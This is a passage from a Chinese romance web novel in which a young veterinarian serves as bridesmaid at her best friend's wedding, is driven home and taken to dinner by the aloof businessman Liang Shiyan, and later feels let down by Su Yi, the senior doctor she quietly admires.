说他…**&*&%¥#@#¥%&*&,然后又…&%¥#¥%&*¥#
算了吧,这样只会人觉得她小肚鸡肠,美妙眨眨眼:“因为我嫉妒他。”
陈佳佳听后,忽而也发出一声长长的感叹,憧憬着说:“我也嫉妒他。”
不过,两人约饭并不只为了聊天,还有大事。
陈佳佳婚礼在即,作为闺蜜理当出力,因为高小岩活多工作忙,而且两人在同一单位请假时间错不开。所以高小岩走不开时,美妙就得充当急先锋,陪着新娘准备。
接下来的半个月。
美妙除了玩命学习准备试用期考核,还要在海绵里挤时间,陪着程佳佳东奔西走,选婚纱选婚鞋选影楼,累得小命不保,黑眼圈又大了一圈。
不过好处就是,她没主动找梁时言,梁时言居然也没找她。
大概把吃饭这一茬忘了。
不过,美妙乐得他忘记。
反正他不提她就装傻。
陈佳佳婚礼,她跟科里请了2天假,头天在家紧急铺面膜。
半根黄瓜铺在脸上,另半根啃得只剩一点尾巴,沈文芳一身旗袍从外面进来,“你看我后天穿这身怎么样?”
沈女士一贯的豪放做派,进屋从不敲门。
美妙没动,躺在抱枕上张口就来:“可以,好看,您穿什么都好看。”
“诶!”沈女士不满意了,“你倒是正经看一眼呀。”
这时敷面膜订的闹钟响了,美妙侧身,黄瓜片哗啦啦往下落,她郑重地点头:“好!好看!可以上台敬酒了。”
沈女士斜睇她,倒也不生气,只是拿不准颜色,怕太出挑不适合,忙问:“是不是太打眼了?”毕竟不是她女儿出嫁。
美妙刚要开口再夸两句。
只见沈女士一个利落转身,跟刚才突然进来一样,又风风火火出去了。
美妙望着大敞着的房门,心想要是美丽在家,沈女士准听她的,接着她就听到防盗门的声音,好家伙!这是去小广场找大众评委呀。
爸妈的衣服需要自备,但美妙就不必了。陈佳佳花重金给她购置了一条绝美的纱裙,试穿那天陈佳佳让她收下巴挺背,当她抬头走到落地镜面前,自己也吓了一跳,这还是那个丑小鸭吗?
她自己都乐了,特别不自在。
陈佳佳千叮咛万嘱咐,说不让她笑过劲,要淑女一点,优雅一点,端庄一点,要她陪着自己当女王闪瞎全场。
闪别人就不必了,别闪着自个儿脚脖子就行。
26. 第 26 章
陈佳佳给她搭了双高跟鞋,这才是美妙唯一担心的事,因为平常没机会穿高跟鞋,冷不丁确实不太适应。
好在提前适应两天,婚礼这天,美妙稳稳踩着高跷,哦不,高跟鞋出发。
新娘要在凌晨四点起床化妆,但是陈佳佳体恤她连日奔波,让她晚点出发。
所以当美妙叫车出门的时候,天早已大亮。
沈老师看着女儿耳目一新,点着头说:“妙妙长大了。”
美妙低头看鞋,“您是想说我看着高了吧?”
沈老师连连点头。
等美妙化好装,旁边已经画好新娘妆的程佳佳,从镜中认真地打量美妙,她穿了淡粉色花瓣一样的一字肩薄纱裙,眉目精致,清纯中透着顽皮,眼眸碎碎的亮着,衬的一张小脸更莹润了。
陈佳佳端详了一会儿,视线逐步下移。
盯住隐约的胸部轮廓忍不住赞叹道:“美妙同学,你长大了。”
美妙楞了下,跟随她视线往下,才明白:“去你的。”
一点不顾忌旁边的工作人员,陈佳佳毫无顾忌地说:“等你有了男朋友,还能大不少。”
此话一出,刚才还没注意的众人这会都明白了,整个化妆间静默一秒后,哄堂大笑,旁边还有人从侧面看了眼美妙稍显薄扁的身材,意味深长补了句:“潜力无限。”
美妙瞬间闹了个大红脸,陈佳佳你也太敢说了吧,她囧囧地扫了眼周围,幸亏这里全是女的,没有男人。
真是要了老命了。
不过这种尴尬没持续多久,一帮人坐上车匆匆往家里赶。
十点刚过,新郎高小岩以及他的伴郎团伙们,声势浩大的杀来了,说是杀,一点不过分,陈佳佳的房门差点被卸喽,新娘这边的七大姑八大姨也不是好惹的,红包哐哐的收,直到程爸爸出面说时辰不早了,这才放人。
更大的一帮人又嘎嘎往酒店赶。
这可忙坏了美妙,高小岩一路背陈佳佳上车,秀禾服太滑啦,陈佳佳老往下滑出溜,美妙跟在两人屁股后头搀扶,最后直接上手抬她屁股,累够呛。
直到出小区坐上去酒店的车,这才喘口气。
听着她在后面呼呼喘气,开车的高小岩说:“你瞧咱俩接个婚,给妙妙累够呛。”
副驾的陈佳佳捧着花,歪头看他,“咱三这不像结婚。”
美妙接话:“那像什么?”
陈佳佳大笑:“像干革命!”
这年头,可真是头次见新郎自己开婚车的,可高小岩说:“我老婆当然我自己接,不能假他人之手。”
美妙瞄他一眼,真是够油腻的,她拉开自带的小小包,捞了一包小饼干出来,就听到陈佳佳对着敞篷车的晴空万里,大声喊:“老公,我爱你!”
美妙一听,也跟着大喊:“放我下去,我不要吃狗粮!”
大概走了十五分钟,狗粮吃饱了,车也准时到达酒店。
新郎新娘负责美美地站着,美美地拍照。美妙全程跟在后面提东西,整理裙摆,递戒指和捧花,高小严找的伴郎不错,人很和气,大家分工合作,倒也愉快。
人生第一次当伴娘,劳累程度应该不亚于亲自结婚。
凡是认识的不认识的一律笑脸相迎,来往宾客美妙几乎都不认识,她脸都笑僵了。直到典礼结束准备开席,她才稍稍找到空隙,上趟洗手间。
高跟鞋真的美丽刑具,穿着太累人了。
中途她几次想脱下来,但为了今天这身漂亮的裙子,她忍了。
趁洗手间四下无人,她悄悄换着脚,活动一下彷佛僵尸般的脚掌,勉强休整了两分钟,这才穿上往外走。
外面走廊上寂静无声,只有隐隐的喧闹声从远处传来。
美妙调整呼吸,愉快迈开一只脚,端庄优雅地走出去,就跟进来的时候一样。
喔——不一样,大概这一步迈地实在太自信,她居然忘记门口有一层小台阶,脚下踩空的瞬间身体跟着前倾,电光火石间。
她脑子里闪的是:完了………我的人生……
这一瞬,忽然被一只大手扣住胳膊反拎了起来,她慌忙借力站直,浮木般牢牢抓着那只坚实触感的手腕:“谢谢谢谢谢谢。”
随即劫后新生地抬头,真不敢想象真摔下去的后果,却看到一张无比熟悉的脸。
她眼睛睁得溜圆:“你怎么在这儿?”
梁时言倒很自在,一副少见多怪的表情,从上到下打量她,平静的眼神看不出是欣赏还是挑剔,他的视线最终停在她精致尖细的鞋头,说了句:“这双鞋美是美,就是和地板不太合拍。”
切……
美妙跟着低头,额头一捋碎发落在唇边,她吹口气赶跑,抬脸正想反击几句,就见伴郎在那边招呼自己快点过去,她立刻回头,松开手,回敬梁时言一个假笑,然后麻溜走了。
梁时言显然是陈佳佳招来的。
挨桌敬酒的时候,举着酒杯的高小岩显然不认识这俩人。陈佳佳赶忙上前引荐,只听吕城说有事来晚了,然后递过来两只红包,陈佳佳眉毛简直要飞上天了,笑着笑纳,一倒手,沉甸甸的红包塞到了美妙手上。
真是又厚又沉啊。
她总算知之前吃日料,陈佳佳出去又回来,那诡异的笑打哪里来的。
感情拐到了份子钱!
美妙真是Respect!
几人少不得推杯换盏,一阵寒暄。
吕城注意到后面的伴娘是美妙,他眼头一亮:“呦,今天小可爱变公主,我差点没认出来。”
陈佳佳一听,绝不可放过推销自家姐妹的机会,忙放下酒杯把美妙往面前带,接住话茬:“诶吕总,我们公主可还没对象呢,您身边有合适的人,也帮我们撮合撮合呀。”
美妙心惊,可拉倒吧!
感觉自己像卖不出去的土豆似的。
她实在哭笑不得,不是场合不对,非得上去捂住陈佳佳那张血盆大嘴。
吕城没说话,笑看着亮晶晶的美妙。
这时候高小岩发话了,他早看吕城嘻嘻哈哈的不像正经生意人,客气地补了一句:“这第一条,就是要品行端方。”
说的好!
要不是场合不对,美妙简直要鼓掌。
陈佳佳瞥一眼丈夫,似乎不太满意他对待客人的态度,毕竟除了至亲,今天到场的人可就属这两人给的红包最沉。
于是不等吕城接话,笑呵呵地打圆场,重新举起了酒杯。
美妙看着“卖
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土豆”的人,十分惊叹于她的表演,简直出神入化,视线不经意,蓦然撞上对面的人。
就这么突然直视,两双眼睛都没什么波澜,轻轻淡淡,但美妙莫名有点较劲的意思,加大了力度,就好像两只平常不太对付的猫隔街相望,谁也没前进,谁也不后退。
就这么僵持着。
直到肩被陈佳佳拍了下,“走,下一桌。”
美妙这才恋恋不舍,跟着“主人”走了。
吕城笑嘻嘻地看新人走远,觉得新郎挺有意思,他问梁时言;“你不是总说这种场合没意思,今天干嘛要来?”主要陈佳佳是一般职员又不是电视台高层,不来不给面子,这完全可以不来,或者礼到即可。
梁时言淡淡收回视线,难得跟人开玩笑:“你不笑得挺开心的。”
吕城听后嗤笑一声,忽然想到什么,循着他刚才的视线看过去:“你不会是看在小医生的面子才来的吧?”
梁时言没吱声,但也没否认。
“我擦!舒克可真是你亲儿子。”爱屋及乌爱狗及狗医生,吕城想明白了,他抬酒杯碰过去,“我真服你了,这地球上你就只在乎舒克是吧?”
梁时言笑了下,跟着呡了口水。
吕城接着感慨,似在回味刚才的情绪,颇有好感地说:“这美医生忽然一打扮,我差点没认出来。”他找了一下形容词,“嗯……蝴蝶抖翅。”
“你觉得呢?”他寻求认同感。
梁时言垂着眼喝水,依旧没反应。
吕城瞥他,一脸对牛弹琴后悔开口的后悔表情。
丫的简直性冷淡!
婚礼如火如荼。
原本以为娘家亲友团的人已经不少,没想到高家家大业大,生意往来亲戚朋友巨多,一桌敬完还有一桌,这边敬完还有那边。虽有心不喝,但几人双拳难抵众手,高小岩被一帮同学摁住灌了不少酒,伴郎替他喝了不少。美妙这边,自然也得替陈佳佳护驾,婚礼到尾声,她已经晕乎得站不住脚。
陈佳佳酒量好但不能喝,杯子里装的纯净水,她笑她:“哎,你看你还能走成直线不?”
美妙:“怎么不能?”
她刚要站起来演示,美老师跟沈女士过来,看到女儿小脸蛋红扑扑的,埋怨怎么喝这么多,陈佳佳忙对着二老拍胸脯:“叔叔阿姨放心吧,我保证给她安全地送回去。”
美妙几乎瘫在椅子上摇头:“爸妈,我又没喝多少。”
陈佳佳送走二老后,看美妙实在不行,在收缴红包后,开始物色人送美妙回去。
送宾队伍里,她一眼看到,一袭黑色西装走在人群里,霁月清风,十分打眼的“蚊香盘”,心里一动,待人过来告辞,她主动攀谈,“梁总,您是开车来的吧?”
梁时言看了眼她身后,并没接话。
“梁总,我知道您一向不沾酒,所以只好——”陈佳佳没说完,后面吕城看到歪在后面的美妙,“怎么了?咱们小医生喝醉了?”他笑着,很自然地说:“怎么,没人送她回去吗?要不我——”
梁时言瞥他一眼,提醒说:“你刚刚喝酒了。”
吕城有点尴尬,摸了摸鼻子,“你看,我这是喝糊涂了。”
陈佳佳跟着笑,余光瞥向美妙。
27. 第 27 章
美妙头昏脑热,只感觉四周嘈杂,当她被人塞进车里的时候,头撞到什么东西才清醒了一刻,眯着眼认出车窗外的陈佳佳,举着手,朝她勉强挥挥,知道自己要回家了。
然后疲惫地合上眼,不省人事。
吕城站在门口给代驾打电话,一扭头,看到梁时言的车一骑绝尘开出去,副驾驶位置竟然有人,他差点以为自己眼瞎,揉了揉眼也忘了通话,问从停车场回来的陈佳佳:“梁时言车上载的谁?”
陈佳佳耸耸肩,故作高深地说:“梁总你猜?”
吕城惊呼一声:“神了!”
这家伙转性了!居然!
电话那头的代驾以为骂他,不敢吱声,吕城又骂了一句,这才叹气对着电话说:“我没说你,你来吧,我就在酒店门口。”
陈佳佳看得莫名奇妙,十分不理解他气急败坏的表情,只觉得这位吕总有点小气,同事间互相送一程有什么大惊小怪的。
没想到回到大堂,高小岩一听就皱了眉,埋怨她没心眼心大。
陈佳佳却说:“梁总可是正人君子,我们台多少主持人惦记他,人家愣是一个眼神都带不多给,堪称当代柳下惠,还是顶配版的。”
其实她想说,是自己硬把人塞进去的。
不过没敢提。
美妙不知道这些,只是呼呼大睡。
她整个人缩在座椅里,面朝车门,一路迷迷糊糊,只感觉车速很稳,没颠簸,之后便沉沉睡去。
已近傍晚,太阳远在西边,金色夕阳斜长地透过车窗照进来,在她微红的脸颊和长裙四周浮动,头发丝和手臂皮肤都被打的透亮,整个人,几乎是发着光的。
旁边的主驾驶位,阳光在中控台戛然而止,梁时言侧脸深邃,靠着座椅闭目养神,笼在一片阴影里。
密闭的车厢异常的安宁静谧,只有空调冷气吹出的微弱风声。
不知等了多久,美妙动了动脖子,感到阳光刺眼,她微微睁开晃花的眼睛,感觉到车已经停了,她侧着脑袋看了眼隔壁,下意识地问:“是不是到了?”
梁时言睁开眼,嗓音因为快要睡着的缘故,低沉中略带几分沙哑,“没有。”
美妙这才发现不对劲,她楞了楞,片刻后反应过来,松散地问:“怎么是你?陈佳佳呢?”因为还陷在懵懵的醉意里,声音有点拖沓。
然后她便发现外面的街景不熟悉,又说:“还没到家呢,那你怎么不开了?”
梁时言按了下眉心,歪头学着她看了眼车外,转脸看着她:“你一上车就睡,怎么问都没有一句话,我把你送哪里去?”
被他这么一盯,美妙顿时清醒不少,也不知道自己昏迷了多久,嘴里念着SorrySorry,边找手机,梁时言一手指着中控台:“这里。”
美妙干笑两声,十分不自在地拿起来,一瞅时间更尴尬了,怪不得觉得太阳光下去了,这么算来她至少睡了两小时。真是罪过,耽误人家事了。
她耳尖发烫脸颊不自知的泛红,十分抱歉地说:“对不起啊……”
梁时言一听居然笑了,咱也不知他笑什么,于是美妙也跟着笑,就是比较苦涩罢了。
然后她听到梁老板发动车子,“把地址发我。”
“不用不要,我打车回去。”她连忙推辞,边说边扛着安全带去摸车门,可梁时言好像没听到,转向灯一响,车已经驶了出去。
她只得老实坐好,尴尬地扯了扯安全带。
“地址?”他轻声又问了一遍。
“噢……”她依言发过去。
等信号灯的间隙,梁时言打开手机瞄了眼地址,然后一言不发地开车。
车间只有冷风吹,灌满沉默。
好在一通来电打破了这种局面,蓝牙接通的同时,车内响起无比热闹的声音:“哎梁总,我们妙妙怎么样了?到家了吗?您怎么不给我来条消息呀,您不会把我们美医生拐——”
美妙心中冒汗,慌忙抢走话语权:“没有没有我在呢,我……我马上到家。”
陈佳佳特有的魔鬼笑声响起,她异常兴奋的样子,“那就好那我就放心了。诶不过我记得你家是在市区吧,这都几点了,你俩……”
不等她鬼扯什么,美妙连忙伸手摁掉蓝牙,然后怯怯地说:“梁总您别听她瞎说,她这人爱开玩笑。”
心里想的是,不好意思啊,我的错。
梁时言没接话,似乎不以为意,但从美妙的角度瞄过去,他脸色已经很黑了。
她没敢多说,自觉地闭上了嘴。
车子明显提速,一切都向后掠去。
傍晚渐渐热闹的喇叭声,旁边车道夕阳里的电动车群,红绿灯,两旁成荫的绿树,引擎低鸣,炙热的晚风,她偏着头看光晕里的车窗。有点刺眼,又向前看,前车窗跟天空的相接处,抬起头,还有一轮,很淡很清晰的月亮。
“有月亮诶!”她惊讶地仰脸看着。
话说完才感觉有点夸张,下意识看眼梁时言。
他专注地开着车,闻言快速扫了眼,似乎弯了弯嘴角。
美妙不爱喝酒,她喝醉的经历实数不多,不过就是因为酒量太丢人,容易露怯。从前只有一次喝醉的经历,大学毕业晚会那晚,一瓶啤酒她就两脚开始踩棉花,用陈佳佳的话说,她是一杯倒协会会员,属于舔瓶盖,就会醉的幼儿园水平。
想到这里,她又瞅了眼驾驶员,十分想问点什么,又实在无法张口,琢磨半天,决定先从熟悉的东西入手。
“舒克最近还好吧?”她尝试着打破沉默。
梁时言单手转着方向盘,另一只手随意搭在窗沿,专注中带着游刃有余,似乎又笑了一下,才说:“挺好的,自从……”他顿了顿,看一眼路边的风景,“……从医院回来后老实多了。”
他这一顿,美妙立马后悔问这个。
舒克是公狗,来医院是为了嘎蛋蛋,众所周知,公狗节育可以有效减少追逐母狗行为,想到此处,她也尴尬地移走视线,看向车外。
没想到却听梁时言说:“怎么会想着当宠物医生,会不会很辛苦?”
这话题总算在美妙的范围之内。她话匣子打开,滔滔不绝地说,例如如何如何之辛苦,又如何如何钱少事多,最后反应过来他跟院长认识,又挽尊道:“反正得熬,等熬出头就差不多了。”
“像你们院长那样?”梁时言手腕轻轻
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一拨,车就丝滑地拐向另一条路。
“这……”美妙一噎,实数没敢有这么大的梦,不由咽了咽口水,有点哀怨的口气,“我能顺顺利利升主治,已经阿弥陀佛了。”
梁时言:“这么没出息。”
冷不丁一句话砸过来,哪有这么打击人的,美妙一激动,嗐了一声:“梁时言,你到底会不会聊天儿呀?”
梁时言抽空扭头,大概觉得她发应太大,难得正经笑了下,忽然有点冰川裂开细缝,春光乍泄的感觉,“刚不是还叫我梁总?”
美妙一愣,有些晃神。
她想了想,抬起下巴颏儿,义正词严地说:“……那梁总,您到底会不会聊天呀?”
没想到这人没接茬,他抬眼看了下后视镜,然后边解安全带边看着她,低声说:“我会吃饭。”
“诶!?”
美妙没反应过来,心说您不是刚吃过席面吗,却见梁时言已经下车,俯身从车门望向她:“我实在吃不惯江南菜。”
然后很疑惑地问:“你不饿吗?”
饿!
美妙疾呼饿饿饿!
从早上六点到现在,她只勉强吃了几块小饼干,一直跟着新娘屁股后面当狗腿,只抽空扒了几口菜,肚子早咕咕叫了。
她立刻推开车门下去,隔着车问他:“先说好谁请客?”
大概面色不好看,梁时言愣住,随即想起上次不欢而散的晚餐,浅笑了下,很认真地示意:“我请客。”
“行!”美妙实在很满意这个回答,呼地拍上车门。
还是上次那家西餐厅。
还是那张桌子。
还是面对面坐着。
干饭人干饭魂,干饭时我们都是人。
这个时间段的餐厅基本没人,这回两人谁都没客气,各点各的,等菜上来,也没多言直接开吃。梁时言白皙的手指握着银色刀叉,斯文地吃完了整份牛扒。
美妙不逞多让,一个人吞了大份意大利面。
两人几乎同时放下餐具,她礼貌地道谢:“谢谢您的午餐。”
梁时言语气轻描淡写:“下回你请。”他想了想,“什么都可以。”
“行!”美妙很豪爽地答应下来。
经过一顿饭的洗礼,回去的路程,气氛轻松不少。
怪不得梁时言说他没吃饱,他不是本地人当然吃不惯江南菜,说实话美妙也不太习惯,好在沈女士是四川人,家里的菜倒不甜。
“那你是毕业后才回的国?”
“没有,前两年才回来。”
“噢,那你——”美妙后知后觉,扫视着干净没有一丝灰尘,没有一件多余饰品的车内,感慨这个人真是怪整肃的,就说:“我也吃不惯江南菜,不过我妈妈是四川人,所以……”
她笑了笑,解开安全带下车,“拜拜!”
想起他刚刚在车上吐槽,说你们本地人的炒锅是糖做的吧?
美妙忍不住失笑,看着车很快走远,行驶在树影掩映的苍翠之下,觉得这个人还挺有意思的。
转身她就给陈佳佳打电话。
那边很快接通:“你怎么让梁时言送我,太不靠谱了吧。”
28. 第 28 章
那头的陈佳佳正盘在大红婚床上数红包,她哼一声,把当代柳下惠的光辉事迹说了,然后正声凛色地问她:“我就问你,梁总安全的把你送到家了吗?”
“送了啊。”
“那人家有趁你睡着,动手动脚吗?”
“怎么可能?!”
“那你瞎叫啥?你不应该感谢我吗?”陈佳佳辩手一般,“要不是我您有机会坐豪车,您有机会跟男神亲密接触,您有机会——”
说着她忽然怪叫一声:“哦噢这都几点了,我刚刚打电话的时候你说马上到,你们该不会……”笑声逐渐猥琐。
“我们去吃饭了好不好,你别想歪。”美妙立刻出声阻止。
“喔吼吼吼!”陈佳佳大笑着又抓住一条,“要不是我您能跟男神共度晚餐?”
美妙:“……”
她毫无情绪地说:“你忙我挂了。”
嘟嘟嘟电话音响了半天,陈佳佳还举着电话,她沉浸在刚才的幻想中不可自拔,立马给美妙发了一条微信:【妙妙同学,别墅豪车就在眼前,把握住!加油!!】
过很久美妙回了她一个表情包:【(白痴)】
没想到陈佳佳抽风,晚上又打电话过来,美妙避开爸妈回房间接起来。
“又怎么了高太太?”
陈佳佳一副老生常谈的口吻:“我就问你,你说我好说歹说把你塞到人家车里这事,你是不是得感谢我?”
美妙一惊:“你硬塞的呀?”
陈佳佳还挺得意:“你以为呢,您又不是天仙下凡,人凭啥上赶着送你?”
美妙此刻觉得很丢人,很丢人。
陈佳佳呵呵一笑,一副奸计得逞的样子,慢悠悠道:“怎么样,与男神共处一车,还一块吃了晚饭,心动没?”
美妙立刻语凝,说不出话来。
陈佳佳却兴致勃勃,接着分析:“你看啊,梁总有颜有身材钱多的花不完,又——”只见她缓了缓,压低声音说:“又且没爹没妈,你懂吧?”
我懂个屁。
美妙简直莫名其妙,这都哪跟哪,她无语地顿住,十分不理解地问:“你怎么知道人家没爸妈?你也太八卦了吧。”
只听陈佳佳高深莫测地说:“我怎么知道的?你别忘了我是干什么的。”
美妙啧一声,还真忘了这人的本职工作,身处电视台吃瓜第一线,简直经过专业训练的人形八卦雷达。
“人家又不是公众人物,你至于吗?”她忍不住吐槽。
只听那端冷哼一声,陈佳佳飙了句:“明星们最后不都得嫁大款吗?我们圈里可有句名言,睡导演可能换角色,睡投资方能换人生。”
听得美妙一愣一愣。
是她孤陋寡闻了。
陈佳佳打趣她:“诶你别多想,梁总跟他们不一样。人家搞实业的就跟我们台就一般的业务往来,不沾影视圈啊,你千万别误会。”
“我误会什么啊?”
美妙简直哭笑不得,没管这些乱七八糟的,说起正题:“嗯,我还没正式恭喜你呢,你俩一定要和和美美,百年好合,高小岩一辈子对你好。”
陈佳佳笑了,这祝福真是说到心坎里去了,她语气一缓,换上认真地口吻:“喂,我觉得你差不多得了,人不能在一颗树上吊死。真的,你认真想想我说的话。”
美妙没接话。沉默片刻,她补了句,“我告诉你,你也必须对高小岩好听到没,不准欺负他——太狠啦!”
陈佳佳切一声!
放下电话,美妙站在穿衣镜前端详自己。她忘记自己上次化妆是什么时候,抽屉里买的彩妆大概早过期,他们这工作,上班时间颠三倒四,又戴着口罩,实在没时间化妆,况且她也没那心情。
陈佳佳最后那句话她听懂了。
她凑近镜子眨眨眼,眼皮上细碎的珠光好像活了过来,苏屹的影子在脑海浮现,某些不可名状的情绪一闪而过,想抓却没有抓住。
她转头看向椅背上的背包,蓝色小象安静挂着。
此时“砰”一声,门被人推开。
沈女士举着手机进来:“来来来,趁着还没换衣服给你拍几张照片。”
美妙不习惯拍照,转身去找卸妆油,“不拍不拍,我马上洗澡去。”
沈女士才不管那么多,说话间闪光灯已经亮了两下,“诶你怎么换了拖鞋,把高跟鞋穿上呀。”说着提起门边的鞋放到面前,踢一踢,“多漂亮快换上,我给你好好拍几张。”
“妈,我真不想拍。”美妙一脸拒绝。
可自古,顺妈者昌,逆妈者亡。
终于在沈女士一番调教之下,她皮笑肉不笑,摆了几个淑女poss,最后以一张端坐桌前看书结尾,沈女士这才满意地出去了,美妙支着脸苦笑。
下一秒,她便听到:“老美明天把照片洗出来,我抽空给郝姐送去。”
郝姐人如其名,是他们社区有名的“大好人”——
总是不辞辛苦、乐此不疲给附近的未婚男女牵线搭桥。
美妙闻言倒抽一口气,缓缓摊倒在桌上。
她倒不担心自己照片被散播出来,反正她平常素面朝天,也不用刚才的形象示人,估计也没人认得出来。
她只担心人家把美老师家的女儿叫“诈片犯“,影响信用。所以卸完妆洗澡出来,特意嘱咐美老师:“爸,您让洗照片的在上面加一行字,就写图片仅供参考,请以实物为准,本产品最终解释权归本人所有。”
美老师正在研究新淘换来的古币,头都没抬,“行。”
他一心二用地说:“我再让人家PP图,保证认不出你。”
高!实在是高!
美妙由衷地给老爸投去赞叹的眼神——可惜他心无旁骛地研究古币,没看着。
沈女士一贯说一不二,第二天吃早饭的时候,就提醒老美别忘记洗照片,她拿起粥碗转脸:“等你姐姐嫁了人,接下来就是你。”
美妙一激动:“我姐他们要结婚了?”
沈女士一顿,似乎很不满意冯焱的样子,“这都谈了几年了,到美国又住在一起,这还不结婚等着街坊邻居看笑话呢?”
美妙悻悻然。
家里沈女士管的严,一直有门禁,她跟姐姐是不许在外头过夜的。
原本视频聊天美丽说他们各住各的宿舍,直到…之前视频,美妙就看到一大早冯焱在姐姐宿舍走动,没想到沈女士眼也挺尖。
美老师思想比较开放,只说:“孩子们都大了。”
沈女士就剜了丈夫一眼,“说什么呢,总归是女孩子吃亏。”
美妙跟着叹口气,不知道该说什么。
姐姐美丽就像一只漂亮的小鸟,离家那么远,飞到了太平洋的那端。
而她,怎么着也算得上一只聪明、勤奋的麻雀吧。
美妙抄兜站在医院公告栏前,仔细查找
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自己的名字。
过了一会,她就看着自己的名字排在试用期各项考核总排名第一的位置,心里略略满意。三个月的努力总算没有白费,虽然这结果早在预料之中,但亲眼所见,感觉还是不一样。
因此,她决定犒劳自己,今天就不吃小食堂了。
拿着手机,正琢磨着点啥高档外卖,肩头被人拍了下,一扭头。
杨帆眼神悠悠地瞥着她,又转向公告栏,语气哀怨地说:“今天你是不是该请客?”
“请啥呀?“美妙不屑地说,“你不也考核通过了,第一名院里也不给我发奖金,我拿啥请你?”
“拿你工资啊?”杨帆跟着她往科室走,“我以前可没少请你零食。”
“呦!”美妙回头,略一思索,还是答应下来:“行吧,你想吃啥发我。”
“不过有限额不准超过五十块啊。”她严肃地比了个手势。
杨帆脸一歪歪:“你个铁公鸡能不能多拔几根毛,敢不敢大方一回?”美妙一听瞪她,“你到底吃不吃?不吃拉倒。”
“吃!”
“那不结了!”
回到科室点上外卖。
这时候小微从外头进来,一屁股坐到椅子上,一看就知道挨骂了,美妙他们早见怪不怪,主任驭下甚严这是传统,不过还是安慰几句。
杨帆却不给面子:“谁让你急诊给金毛输液时睡着,还被人当场抓获。”
同事撅回去:“我定了闹钟就咪五分钟,难道下回我学你,不在旁边睡我直接钻值班室。”然后狐疑地问美妙:“诶美医生,你说大家伙都挨骂,咋就你没事人一样呢?”
美妙叹口气:“骂我我又不会少块肉?”
“再说,心情不好,我还得花钱买好吃的找补,划不来。”
一说吃的,同事忽然想到什么,眼馋地说:“我刚才经过神经科,不知道哪个病号送的锦旗还有一个大箱子,里头全是吃的。”
美妙倒不羡慕吃的,她只眼馋人家收锦旗,她要熬到啥时候才能出师,也能美美地收到一个大红锦旗,高高地挂起来呢?
这么没出息?
嗯?!
美妙一呆,脑子里忽然蹦出这么一句话,她下意识甩甩脑袋,感觉自己幻听了。
不过她这人就这样,人家夸未必记得住,要是坏话就一直放心上。
记得上小学,兴冲冲跟美丽一起去报兴趣班,那个老师拉着她的手端详半天,最后摇摇头,说她手不行,五指短不适合练钢琴。然后把美丽收下了。
这事她记到现在,可真是良言一句三冬暖,恶语伤人六月寒啊。
感慨间小微过来拐她:“美医生,咱一起去神经科化个缘?”
“去干嘛?”
“咱俩一起去搞点吃的,神经科那帮帅哥你比较熟,你去了他们肯定给你。”
“神经啊。”美妙轻呼一声,白嫖这事她可干不出来,边说边往椅子里缩,“你自己去吧,我不去。”
“走吧你!”小微看一眼另个同事,两人眼泛贼光的对视一眼,就架了她往外走,“没有你咱不敢去啊!”
杨帆无语地踢了下美妙的椅子,“一群花痴。”
神经科果然热闹,还没到门口,就听到里面的吵闹声,隐约能辨出苏屹的声音。听到动静,美妙更不想进去丢人了,扭着身体想逃,却被身后小微一推。
下一刻,整个人已经窜了进去。
29. 第 29 章
办公室的谈笑声稍稍静了一瞬。
几道目光齐刷刷射过来,美妙悻悻地看眼屋内的人,又心虚地看向苏屹的工位,他显然有点吃惊,一脸等待她开口的表情,美妙只好转回头,低头看了眼地上的大纸箱,对上众人疑惑的眼神:“那个……”她尴尬地指着身后,“外头听你们挺热闹的,进来看看你们在干嘛……”
门边听动静的小微差点吐血。
完蛋,美医生今天怎么变怂包了!
“我们在商量苏医生的锦旗挂哪里?”爱吃红烧肉的陈医生接住话,与有荣焉地看向苏屹,“是吧,苏医生?”
美妙顿时心生羡慕,她也顺势看向苏屹,他清清淡淡地靠在桌边,脸上没一点骄傲的神色,笑了下,然后说:“正好你来了,这边有好多吃的,你带点回去给同事们吃。”
“噢……”美妙小声应下,腼腆地弯了嘴角,看着苏屹:“恭喜你师兄。”
苏屹笑了下,似乎这样话他已经听习惯,没太大反应。
这时陈医生已经开始打包东西,顺手从纸箱里捞出一只机器猫钥匙扣,咦了一声,“怎么还有这玩意?”他笑了下,大概觉得这里都是男人不搭,问了句:“这个也给你,我们这些大男人谁挂这玩意。”
苏屹听了看过去,似乎也觉得好笑,随意道:“也给你吧。”
“我已经有——”美妙的话刚出口。
苏屹桌上的手机响了,他转身接起来,喂了一声,后面轻声说的什么,听不清了。他对着窗外,只留给美妙一个好看秀颀的背影。
“有你送的了。”
美妙小声把话说完,抿了抿嘴唇,低头看着自己的脚尖。
他完全不记得了。
美妙抱着一堆东西走出神经科的时候,窗边苏屹还在通话中,他声音很轻一贯的温和,只是听不清。
“哦豁化缘大丰收啊!”小微两人不知从哪里跳出来,无敌惊喜的嘴脸,“美医生不错啊!”
美妙将东西推给两人,自己插着兜走在前面。
小微纳闷:“搞到这么多东西还不满意啊?”
另一同事盯着美妙耷拉的肩头,自以为是地说:“嫌丢人了呗。”
然后两人对视一笑,露出奸计得逞的坏笑。
美妙倒不在意这个,一点不在乎丢人。
而是……
她回到科室,人靠着椅子呆呆地盯着自己背包上的挂件,想起当时毕业答谢宴上,师兄亲手给她,说留个纪念吧,他忘了?
真的忘了吗?
她微微发愣,有些出神。
同事们忙着瓜分零食,场面热闹堪比抢年货,小微提着那只哆啦A梦的钥匙扣,问她:“美医生,这挂件你不要啊?”
美妙没动,只慢吞吞地摇头。
谁爱要谁要吧。
后面的杨帆瞧见美妙的动静,有点幸灾乐祸,“那丑玩意儿,美妙看不上。”美妙听了立马转头瞪他,那也不能说人家坏话呀,毕竟师兄送的,也是病号家长的一番心意,她撇一眼手机,不耐烦地指使杨帆:“去拿外卖吧。”
杨帆抗议:“你怎么不去拿?”
美妙继续瞪他。
杨帆忽然举着手站起来,终于想起来这顿谁请客,语气放软,“我去我去。”
美妙这才撇开眼看向别处,视线又落到桌下的双肩包上,怀着郁闷失望的心情吃了顿豪华外卖稍微缓解,下午从住院部出来下楼,却在候诊大厅,撞到了意想不到的人。
那一刻几乎魂飞魄散。
小黄狗小凡,经过一段时间的治疗,总算死里逃生,病情终于稳定了下来。
主任让做一次超声检查,美妙下楼拿报告,边等报告的功夫边划拉工作群,期间不经意扫了下对面窗口,一道熟悉的身影从旁经过。起初她没在意,低头回消息的时候一恍惚,忽然想到什么,再抬头,一个穿着短袖衬衫的男人,正往大厅门口走。
“冯焱?”她下意识地喊了句,只是觉得像。
等那人回头,完整的露出全脸,美妙懵住。
“你……你怎么在这里呀?“她几乎结巴。
